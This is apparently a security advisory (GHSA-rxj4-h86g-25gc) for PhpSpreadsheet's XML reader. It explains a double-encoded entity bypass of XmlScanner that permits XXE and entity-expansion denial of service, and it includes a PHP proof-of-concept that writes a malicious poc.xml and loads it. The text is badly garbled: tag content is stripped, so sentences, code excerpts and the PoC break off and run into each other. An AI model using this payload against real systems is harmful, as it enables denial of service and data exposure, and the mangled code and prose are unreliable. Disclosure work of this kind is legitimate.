GHSA-rxj4-h86g-25gc PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service

• Packagist phpoffice/phpspreadsheet: >= 4.0.0, < 5.10.0 → fixed in 5.10.0 • Packagist phpoffice/phpspreadsheet: >= 3.3.0, < 3.10.8 → fixed in 3.10.8

Summary The SpreadsheetML XML reader (`Reader\Xml`) scans file content twice through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` after the pattern check. By double-encoding the `toUtf8($xml); if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8) throw new Exception('Detected use of ENTITY...'); } if ($this->callback !== null) { $xml = call_user_func($this->callback, $xml); // DECODE (after checks!) } return $xml; // getSecurityScannerOrThrow()->scan($data); // 1st scan // ... $this->fileContents = $data; // stores partially-decoded content ``` 3. `Xml::trySimpleXMLLoadStringPrivate()` (Xml.php, lines 120–150) — re-scans the stored content: ```php $data = $this->fileContents; // already partially decoded $xml = simplexml_load_string( $this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding ); ``` The double-scan decode chain: ``` Raw file: &#38;#60;!DOCTYPE | 1st scan(): pattern check → no match (no "' . "\n" . '' . "\n" . '&#38;#60;!DOCTYPE Workbook [' . "\n" . ' &#38;#60;!ENTITY big "' . $entity_value . '">' . "\n" . ']>' . "\n" . '' . "\n" . ' ' . "\n" . ' ' . $refs . '' . "\n" . ' ' . "\n" . ''; file_put_contents('poc.xml', $xml); echo "File size: " . filesize('poc.xml') . " bytes\n"; $mem_before = memory_get_usage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml(); echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n"; $spreadsheet = $reader->load('poc.xml'); $peak = memory_get_peak_usage(true); echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n"; $val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n"; ``` Run: `php -d memory_limit=512M poc_toctou.php` Expected result: The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion). Hex variant: Replace `&#38;#60;` with `&#38;#x3C;` — both are decoded by `html_entity_decode()`. Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13. Impact | Attack | PHP ` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.